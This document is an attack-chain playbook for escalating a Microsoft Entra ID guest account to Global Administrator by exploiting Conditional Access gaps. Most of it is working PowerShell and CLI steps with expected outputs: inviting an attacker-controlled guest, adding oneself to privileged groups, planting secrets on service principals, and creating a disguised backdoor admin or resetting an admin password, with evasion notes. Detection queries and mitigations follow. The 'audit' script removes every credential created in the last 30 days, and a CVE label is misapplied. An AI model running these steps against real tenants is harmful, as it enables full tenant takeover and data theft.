| Attribute | Details |
|---|---|
| Chain ID | CHAIN-002 |
| Attack Chain Name | Guest Account Privilege Escalation via Conditional Access Gaps |
| MITRE ATT&CK v18.1 | T1078 + T1548 |
| Tactic | Initial Access + Privilege Escalation |
| Platforms | Entra ID (Azure AD) |
| Severity | CRITICAL |
| CVE | N/A (Configuration/Logic Flaw) |
| Chain Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All Entra ID versions (misconfiguration-based) |
| Execution Time | 30-90 minutes (full chain) |
| Author | SERVTEP – Artur Pchelnikau |
This attack chain demonstrates privilege escalation from a guest (B2B collaboration) account to Global Administrator (GA) by exploiting gaps in Conditional Access policy coverage. Many organizations exclude guest accounts from Conditional Access policies under the assumption they pose minimal risk. However, when combined with misconfigured role-assignable groups, overly permissive app permissions, or abandoned reply URLs in app registrations, guest accounts can be weaponized to achieve full tenant compromise. The attacker leverages application-based privilege escalation and inherited permissions from management groups to elevate from guest to GA.
CRITICAL - Full Entra ID / Microsoft 365 Tenant Compromise. Attacker gains Global Administrator access, enabling complete control over:
Estimated Impact: €1M-€5M+ in remediation, compliance fines (GDPR, regulatory), data breach costs.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmarks | 1.1.1, 1.2.7, 1.3.1 | Guest user restrictions; Conditional Access enforcement; role-based access |
| DISA STIG | AD0052, AD0053 | Entra ID user access restrictions; application registration controls |
| CISA SCuBA | CA-2, CA-3, CA-7 | User access decisions; policy-based enforcement; session management |
| NIST 800-53 | AC-2, AC-3, AC-6 | Account management; access enforcement; least privilege |
| GDPR | Art. 32, 33 | Security of processing; breach notification |
| DORA | Art. 9, 15 | ICT risk management; threat detection |
| NIS2 | Art. 21 | Cyber risk management; identity and access controls |
| ISO 27001 | A.9.2.1, A.9.2.3, A.9.2.4 | User registration; privileged access management; access review |
| ISO 27005 | A.14.2.2 | Risk assessment of identity management |
| Stage | Technique ID | Step Name | Duration | Key Actions |
|---|---|---|---|---|
| Phase 1 | T1078.004 | Guest Account Creation/Compromise | 5-15 min | Invite external user OR compromise existing guest |
| Phase 2 | T1548.004 | Conditional Access Gap Exploitation | 10-20 min | Identify unprotected apps/resources |
| Phase 3 | T1078.002 | Group Membership Escalation | 5-10 min | Join role-assignable groups with GA permissions |
| Phase 4 | T1098.004 | Application Permission Abuse | 5-10 min | Add credentials to high-privilege service principals |
| Phase 5 | T1548.005 | Service Principal Activation | 5-10 min | Authenticate as privileged service principal |
| Phase 6 | T1098.003 | Global Admin Backdoor Creation | 5-15 min | Create new GA account or activate existing |
| Phase 7 | T1078.001 | Full Tenant Compromise | Ongoing | Unrestricted GA access; persistence; exfiltration |
Objective: Obtain guest account access either through social engineering (legitimate invite) or compromising an existing guest account.
Method A: Social Engineering (B2B Collaboration Invite)
Command (Entra ID Admin - Invite Guest):
# 1. Invite external user as guest (legitimate process; attacker controls invited address)
Connect-MgGraph -Scopes "User.Invite.All"
$invitationParams = @{
invitedUserEmailAddress = "attacker@attacker-domain.com"
inviteRedirectUrl = "https://myapps.microsoft.com"
sendInvitationMessage = $false # Attacker controls email account
}
New-MgInvitation @invitationParams
Expected Output:
invitedUserDisplayName : attacker@attacker-domain.com
invitedUserEmailAddress : attacker@attacker-domain.com
inviteRedeemUrl : https://login.microsoftonline.com/common/oauth2/v2.0/authorize?...
invitedUser.id : UUID...
Manual Steps (Azure Portal):
Method B: Compromise Existing Guest Account
Technique: Phishing, compromised contractor account, leaked credentials
Command (Get Existing Guests):
Connect-MgGraph -Scopes "User.Read.All"
# 1. List all guest accounts
Get-MgUser -Filter "userType eq 'Guest'" -All | Select-Object DisplayName, Mail, CreatedDateTime, UserPrincipalName | Out-GridView
# 2. Target specific contractor/partner account
Get-MgUser -Filter "mail eq 'contractor@partner-company.com'" | Select-Object *
OpSec & Evasion:
Objective: Activate guest account, enumerate current permissions and group memberships.
Command (Guest User - Enumerate Own Permissions):
Connect-MgGraph -Scopes "User.Read", "Directory.Read.All", "Application.Read.All"
# 1. Get current user details (guest account)
Get-MgMe | Select-Object Id, DisplayName, UserType, UserPrincipalName
# 2. List groups the guest is member of (inherited from invitation or admin actions)
Get-MgMyMemberOf | Select-Object DisplayName, Id, AdditionalProperties
# 3. Check assigned roles (may have roles if added by admin)
Get-MgUserAppRoleAssignment -UserId $GuestUserId | Select-Object DisplayName, AppRoleId
# 4. Enumerate available apps and permissions
Get-MgServicePrincipal -All | Where-Object {$_.DisplayName -match "Microsoft"} | Select-Object DisplayName, Id, AppId
Expected Output:
Id: 550e8400-e29b-41d4-a716-446655440000
DisplayName: attacker@attacker-domain.com
UserType: Guest
Mail: attacker@attacker-domain.com
MemberOf: [] ← Empty initially
What This Means:
Objective: Identify which apps/resources are NOT protected by Conditional Access policies for guests.
Command (Azure Portal - Manual Analysis):
Command (PowerShell - Automated Gap Analysis):
Connect-MgGraph -Scopes "Policy.Read.All"
# 1. Get all Conditional Access policies
$policies = Get-MgIdentityConditionalAccessPolicy
# 2. Identify policies that exclude guests
$guestGaps = $policies | ForEach-Object {
$includesGuests = $_.Conditions.Users.IncludeUsers | Where-Object {$_ -eq "GuestOrExternalUser"}
if (-not $includesGuests) {
[PSCustomObject]@{
PolicyName = $_.DisplayName
IncludedApps = $_.Conditions.Applications.IncludeApplications
RequiredControls = $_.GrantControls.BuiltInControls
GuestCoverage = "MISSING"
}
}
}
$guestGaps | Format-Table
Expected Output:
PolicyName IncludedApps RequiredControls GuestCoverage
---------- --- ---------------- ------
Require MFA for All Users All mfa MISSING (Guests excluded)
Block Legacy Authentication ExchangeOnline,Teams blockAccess MISSING (Guests not in scope)
Require Compliant Device SharePoint deviceCompliance MISSING (Guests exempt)
Risky Sign-in Protection All mfa, blockAccess MISSING (Guests excluded)
What This Means:
Objective: Leverage CA gaps to access sensitive apps (Azure Portal, admin tools, etc.).
Command (Guest User - Access Azure Portal):
# 1. Connect as guest to Azure with no Conditional Access blocking
Connect-AzAccount -Subscription "target-subscription-id"
# 2. Enumerate subscriptions and access
Get-AzSubscription | Select-Object Name, Id, State
# 3. Enumerate resource groups
Get-AzResourceGroup | Select-Object ResourceGroupName, Location
# 4. If MFA not enforced, direct access granted
Command (Guest User - Access Teams/SharePoint):
# 1. Connect to Microsoft Teams as guest
Connect-MicrosoftTeams
# 2. List accessible teams
Get-Team | Select-Object DisplayName, GroupId, Visibility
# 3. Access SharePoint sites (if guest invited to sites)
Connect-PnPOnline -Url "https://tenant.sharepoint.com/sites/Admin" -Interactive
# 4. Enumerate files and folders
Get-PnPListItem -List "Shared Documents" | Select-Object Title, Modified
OpSec & Evasion:
Objective: Identify security groups that grant high-level roles (such as roles with GA permissions).
Command (PowerShell - Enumerate Role-Assignable Groups):
Connect-MgGraph -Scopes "Directory.Read.All", "RoleManagement.Read.Directory"
# 1. Get all role-assignable groups
$roleAssignableGroups = Get-MgGroup -Filter "isAssignableToRole eq true" -All
# 2. For each group, get assigned roles
foreach ($group in $roleAssignableGroups) {
$roleAssignments = Get-MgDirectoryRoleTemplate | Where-Object {
# Note: Direct role-to-group mapping requires Graph v1.0 endpoint
Get-MgRoleManagementDirectoryRoleAssignment -Filter "principalId eq '$($group.Id)'" -ErrorAction SilentlyContinue
}
[PSCustomObject]@{
GroupName = $group.DisplayName
GroupId = $group.Id
Members = (Get-MgGroupMember -GroupId $group.Id).Count
Roles = $roleAssignments.DisplayName
}
}
Command (Azure CLI - Find High-Privilege Groups):
# 1. List all security groups with role assignments
az ad group list --output json | jq '.[] | select(.isAssignableToRole == true) | {displayName, id}'
# 2. Check group members
az ad group member list --group "IT Application Managers" --output table
# 3. Check if guest is member of any
az ad group member check --group-id "<GROUP_ID>" --member-id "<GUEST_USER_ID>"
Expected Output:
GroupName Members Roles
--------- ------- -----
IT Application Managers 5 Application Administrator
Security Administrators 3 Security Administrator
Privileged Authentication Admin 2 Privileged Authentication Administrator
Cloud Admins 4 Global Administrator
What This Means:
Objective: If guest is NOT already in privileged group, attempt to add self by exploiting group ownership misconfiguration.
Command (Guest User - Enumerate Group Ownership):
Connect-MgGraph -Scopes "Directory.Read.All"
# 1. Find groups where guest is owner
$guestId = (Get-MgMe).Id
$ownedGroups = Get-MgUserOwnedObject -UserId $guestId | Where-Object {$_.'@odata.type' -match "Group"}
# 2. List owned groups
$ownedGroups | Select-Object DisplayName, Id, @{N="Type";E={$_.'@odata.type'}}
# 3. If no owned groups, attempt to enumerate group memberships
Get-MgUserMemberOf -UserId $guestId | Select-Object DisplayName, Id
Expected Output (If Owner of High-Privilege Group):
DisplayName Id Type
----------- -- ----
Application Managers 550e8400-e29b-41d4-a716-446655440000 microsoft.graph.group
IT Security Team 660f9500-f40c-52e5-b827-556766551111 microsoft.graph.group
Command (Guest User - Add Self to Privileged Group via Ownership):
# 1. If guest is owner of a role-assignable group:
$groupId = "550e8400-e29b-41d4-a716-446655440000"
$guestId = (Get-MgMe).Id
# 2. Add guest as member (guest as group owner has rights to add members)
New-MgGroupMember -GroupId $groupId -DirectoryObjectId $guestId
# 3. Verify membership
Get-MgGroupMember -GroupId $groupId | Select-Object DisplayName, Id
OpSec & Evasion:
Objective: Find service principals with high-privilege roles (like Global Admin equivalent permissions) that guest can modify.
Command (Guest User - Find Privilege Escalation Path via Service Principals):
Connect-MgGraph -Scopes "Directory.Read.All", "Application.ReadWrite.All"
# 1. Get all app registrations
$apps = Get-MgApplication -All
# 2. For each app, check if guest can add credentials (requires Application Admin role)
foreach ($app in $apps) {
$appRoles = $app.Roles | Select-Object DisplayName, Id, AllowedMemberTypes
# Check if app has high-privilege roles
if ($appRoles.DisplayName -match "Admin|Manager|Contributor|Owner") {
[PSCustomObject]@{
AppName = $app.DisplayName
AppId = $app.AppId
ObjectId = $app.Id
HasAdminRoles = $true
PrivilegedRoles = $appRoles | Where-Object {$_.DisplayName -match "Admin|Manager"}
}
}
}
Expected Output:
AppName: Azure AD Admin Center
HasAdminRoles: True
PrivilegedRoles: {Global Administrator, Security Administrator}
Objective: If guest has Group Owner rights but not Application Admin, escalate to Application Admin.
Method 1: Add Self to Application Administrators Role-Assignable Group
# 1. Find role-assignable group with "Application Administrator" role
$appAdminGroup = Get-MgGroup -Filter "displayName eq 'Application Administrators'" -All
# 2. If guest can modify this group (is owner), add self
$guestId = (Get-MgMe).Id
New-MgGroupMember -GroupId $appAdminGroup.Id -DirectoryObjectId $guestId
# 3. Wait 10-15 minutes for token to refresh
# 4. Verify new permissions
Connect-MgGraph -Scopes "Directory.Read.All", "Application.ReadWrite.All" -Reconnect
Method 2: Exploit Abandoned Reply URL in App Registration (CVE-2023-32315 variant)
Command (Guest User - Find Abandoned Reply URLs):
# 1. Find apps with abandoned or suspicious reply URLs
$apps = Get-MgApplication -All
foreach ($app in $apps) {
$replyUrls = $app.Web.RedirectUris
foreach ($url in $replyUrls) {
# Check for suspicious patterns
if ($url -match "attacker|localhost:8|127.0|ngrok") {
Write-Host "Found suspicious reply URL: $url in app $($app.DisplayName)"
}
}
}
# 2. If guest is owner of app with high-privilege service principal:
# Add new owner to app
$app = Get-MgApplication -Filter "appId eq 'XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX'"
New-MgApplicationOwner -ApplicationId $app.Id -DirectoryObjectId (Get-MgMe).Id
Objective: Guest (now with Application Admin role) adds secret to service principal with GA permissions.
Command (Guest User with Application Admin Role):
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# 1. Find high-privilege service principal (e.g., "Azure AD Admin Center" or custom app with GA role)
$servicePrincipal = Get-MgServicePrincipal -Filter "displayName eq 'Azure AD Admin Center'" | Select-Object -First 1
# 2. Create new password credential
$passwordCredential = @{
displayName = "Service Principal Auth"
endDateTime = (Get-Date).AddYears(1)
}
$newSecret = Add-MgServicePrincipalPassword -ServicePrincipalId $servicePrincipal.Id `
-PasswordCredential $passwordCredential
Write-Host "New Secret: $($newSecret.SecretText)"
Write-Host "Client ID: $($servicePrincipal.AppId)"
Write-Host "Tenant ID: <TENANT_ID>"
Expected Output:
New Secret: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890
Client ID: 00000000-0000-0000-0000-000000000000
Tenant ID: 12345678-1234-1234-1234-123456789012
Objective: Use service principal credentials to authenticate with Global Admin rights.
Command (Authenticate as Service Principal):
# 1. Connect as service principal
$clientId = "00000000-0000-0000-0000-000000000000"
$clientSecret = "aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890"
$tenantId = "12345678-1234-1234-1234-123456789012"
$SecurePassword = ConvertTo-SecureString $clientSecret -AsPlainText -Force
$Credential = New-Object System.Management.Automation.PSCredential($clientId, $SecurePassword)
Connect-AzAccount -ServicePrincipal -Credential $Credential -Tenant $tenantId
# 2. Verify GA permissions
Get-AzRoleAssignment | Where-Object {$_.RoleDefinitionName -eq "Owner"} | Select-Object Scope, RoleDefinitionName
Expected Output:
Scope: /subscriptions/...
RoleDefinitionName: Owner
Objective: Create new GA account (or reset existing admin password) for persistent backdoor access.
Command (Service Principal with GA Rights):
# 1. Create new user account with GA role
$newAdminPassword = ConvertTo-SecureString -String "P@ssw0rd123!YourCompany2024" -AsPlainText -Force
$newAdmin = New-MgUser -DisplayName "Service Account - Monitoring" `
-MailNickname "svc-monitoring" `
-UserPrincipalName "svc-monitoring@tenant.onmicrosoft.com" `
-Password $newAdminPassword `
-AccountEnabled
# 2. Add new user to Global Administrator role
$roleId = (Get-MgDirectoryRole | Where-Object {$_.DisplayName -eq "Global Administrator"}).Id
New-MgDirectoryRoleMember -DirectoryRoleId $roleId -DirectoryObjectId $newAdmin.Id
# 3. Alternative: Reset existing admin password for persistent access
Update-MgUser -UserId "admin@tenant.onmicrosoft.com" -Password (ConvertTo-SecureString -String "NewP@ssw0rd123!YourCompany" -AsPlainText -Force)
Expected Output:
svc-monitoring@tenant.onmicrosoft.com has been created with Global Administrator role
Guest Account Indicators:
Conditional Access Indicators:
Privilege Escalation Indicators:
Event ID Indicators:
Entra ID Audit Log Queries (KQL):
// Find all guest account invitations in last 30 days
AuditLogs
| where OperationName == "Invite user"
| where TimeGenerated > ago(30d)
| project TimeGenerated, InitiatedBy, TargetResources, Result
// Find guest accounts added to role-assignable groups
AuditLogs
| where OperationName == "Add member to group"
| where TimeGenerated > ago(30d)
| where AdditionalDetails contains "isAssignableToRole: true"
| project TimeGenerated, InitiatedBy, TargetResources
// Find new service principal credentials added
AuditLogs
| where OperationName == "Add service principal credentials"
| where TimeGenerated > ago(30d)
| project TimeGenerated, InitiatedBy, TargetResources
Sign-in Logs Queries:
// Find guest user sign-ins
SigninLogs
| where UserType == "Guest"
| where TimeGenerated > ago(7d)
| project TimeGenerated, UserPrincipalName, AppDisplayName, IPAddress, Location
// Find guest accessing Azure Portal or admin apps
SigninLogs
| where UserType == "Guest"
| where AppDisplayName in ("Azure Portal", "Azure Service Management API", "Microsoft Graph")
| project TimeGenerated, UserPrincipalName, AppDisplayName, Status
1. Enforce Conditional Access for Guest Users
Manual Steps (Azure Portal):
Require MFA for Guest UsersUsers and groups → Guest or external users → Select Guest users (Preview)All cloud appsHighExclude compliant devices2. Create a Second Policy: Block Guests from Non-Approved Apps
Manual Steps:
Block guests from non-Office 365 appsBlock accessPowerShell (Automated):
Connect-MgGraph -Scopes "Policy.ReadWrite.ConditionalAccess"
# 1. Create policy requiring MFA for guests
$guestMFAPolicy = @{
displayName = "Require MFA for Guest Users"
state = "enabled"
conditions = @{
users = @{
includeUsers = @()
includeRoles = @()
includeGroups = @()
excludeUsers = @()
excludeRoles = @()
excludeGroups = @()
userRiskLevels = @()
guestOrExternalUserTypes = "b2bCollaborationGuest"
}
applications = @{
includeApplications = "All"
}
}
grantControls = @{
operator = "OR"
builtInControls = @("mfa")
}
}
New-MgIdentityConditionalAccessPolicy -BodyParameter $guestMFAPolicy
2. Disable Guest User Invitations (If Not Required)
Manual Steps:
PowerShell:
# 1. Restrict guest invitations to admins only
Update-MgPolicyCrossTenantAccessPolicyDefault -B2bCollaborationInbound @{invitationsAllowed = "adminsAndGuestInviters"}
3. Audit and Revoke High-Privilege Service Principal Credentials
Manual Steps:
PowerShell:
Connect-MgGraph -Scopes "Application.ReadWrite.All"
# 1. Find all service principal passwords added in last 30 days
$apps = Get-MgApplication -All
foreach ($app in $apps) {
$credentials = $app.PasswordCredentials
foreach ($cred in $credentials) {
if ((Get-Date) - $cred.StartDateTime -lt (New-TimeSpan -Days 30)) {
Write-Host "Suspicious credential in app $($app.DisplayName): Created $($cred.StartDateTime)"
# Remove credential
Remove-MgApplicationPassword -ApplicationId $app.Id -KeyId $cred.KeyId
}
}
}
4. Implement Role-Assignable Group Restrictions
Manual Steps:
PowerShell:
Connect-MgGraph -Scopes "Directory.ReadWrite.All"
# 1. Find role-assignable groups
$roleGroups = Get-MgGroup -Filter "isAssignableToRole eq true" -All
# 2. Update ownership to exclude guest users and non-admins
foreach ($group in $roleGroups) {
$owners = Get-MgGroupOwner -GroupId $group.Id
foreach ($owner in $owners) {
if ($owner.UserType -eq "Guest") {
Remove-MgGroupOwnerByRef -GroupId $group.Id -DirectoryObjectId $owner.Id
Write-Host "Removed guest owner from $($group.DisplayName)"
}
}
}
5. Implement Privileged Access Management (PIM) for Critical Roles
Manual Steps:
6. Regular Audit of Guest Accounts and Service Principals
PowerShell (Monthly Audit Script):
# 1. Audit guest accounts
$guests = Get-MgUser -Filter "userType eq 'Guest'" -All
$guestReport = $guests | Select-Object DisplayName, Mail, CreatedDateTime, @{
N = "IsGroupOwner"
E = { (Get-MgUserOwnedObject -UserId $_.Id | Measure-Object).Count -gt 0 }
}
$guestReport | Export-Csv -Path "C:\Audit\Guests_$(Get-Date -f yyyyMMdd).csv"
# 2. Audit service principal credentials
$spCredentialReport = Get-MgServicePrincipal -All | ForEach-Object {
[PSCustomObject]@{
SPName = $_.DisplayName
CredentialCount = ($_.PasswordCredentials | Measure-Object).Count
OldestCredential = ($_.PasswordCredentials | Measure-Object -Property StartDateTime -Minimum).Minimum
}
}
$spCredentialReport | Export-Csv -Path "C:\Audit\ServicePrincipals_$(Get-Date -f yyyyMMdd).csv"
# 1. Verify Conditional Access covers guests
$policies = Get-MgIdentityConditionalAccessPolicy
$guestCoveredApps = @()
foreach ($policy in $policies) {
if ($policy.Conditions.Users.IncludeUsers -contains "GuestOrExternalUser" -or `
$policy.Conditions.Users.IncludeGroups) {
$guestCoveredApps += $policy.DisplayName
}
}
if ($guestCoveredApps.Count -gt 0) {
Write-Host "✅ Guests are protected by $($ guestCoveredApps.Count) Conditional Access policies"
} else {
Write-Host "❌ VULNERABLE: No Conditional Access policies protect guests"
}
# 2. Verify guest invitations are restricted
$extIdSettings = Get-MgPolicyCrossTenantAccessPolicyDefault
if ($extIdSettings.B2bCollaborationInbound.InvitationsAllowed -ne "everyone") {
Write-Host "✅ Guest invitations restricted to admins"
} else {
Write-Host "❌ VULNERABLE: Anyone can invite guests"
}
# 3. Verify role-assignable groups have restricted ownership
$roleGroups = Get-MgGroup -Filter "isAssignableToRole eq true" -All
foreach ($group in $roleGroups) {
$guestOwners = Get-MgGroupOwner -GroupId $group.Id | Where-Object {$_.UserType -eq "Guest"}
if ($guestOwners.Count -eq 0) {
Write-Host "✅ $($group.DisplayName): No guest owners"
} else {
Write-Host "❌ VULNERABLE: $($group.DisplayName) has guest owners"
}
}
Expected Output (If Secure):
✅ Guests are protected by 3 Conditional Access policies
✅ Guest invitations restricted to admins
✅ Cloud Admins: No guest owners
✅ Application Managers: No guest owners
✅ IT Security Team: No guest owners
| Step | Phase | Technique | Attack Chain |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing OR Legitimate B2B Invite | [CHAIN-002] Guest to GA |
| 2 | Initial Access | [T1078.004] Valid Account (Guest) | [CHAIN-002] Guest to GA |
| 3 | Privilege Escalation | [T1548.004] Abuse Group Ownership | Current Phase |
| 4 | Privilege Escalation | [T1548.003] Application Permission Abuse | [CHAIN-002] Guest to GA |
| 5 | Privilege Escalation | [PE-ACCTMGMT-001] App Registration Escalation | [CHAIN-002] Guest to GA |
| 6 | Persistence | [T1098] Create GA Backdoor Account | [CHAIN-002] Guest to GA |
| 7 | Impact | [CHAIN-003] Token Theft + Data Exfiltration | Cross-Chain: Guest GA → M365 Compromise |
Connect-MgGraph -Scopes "Directory.ReadWrite.All"Connect-AzureADroadrecon enumerate -u attacker@domain.com -p passwordGet-AADIntAccessTokenForAADGraph -SaveToCache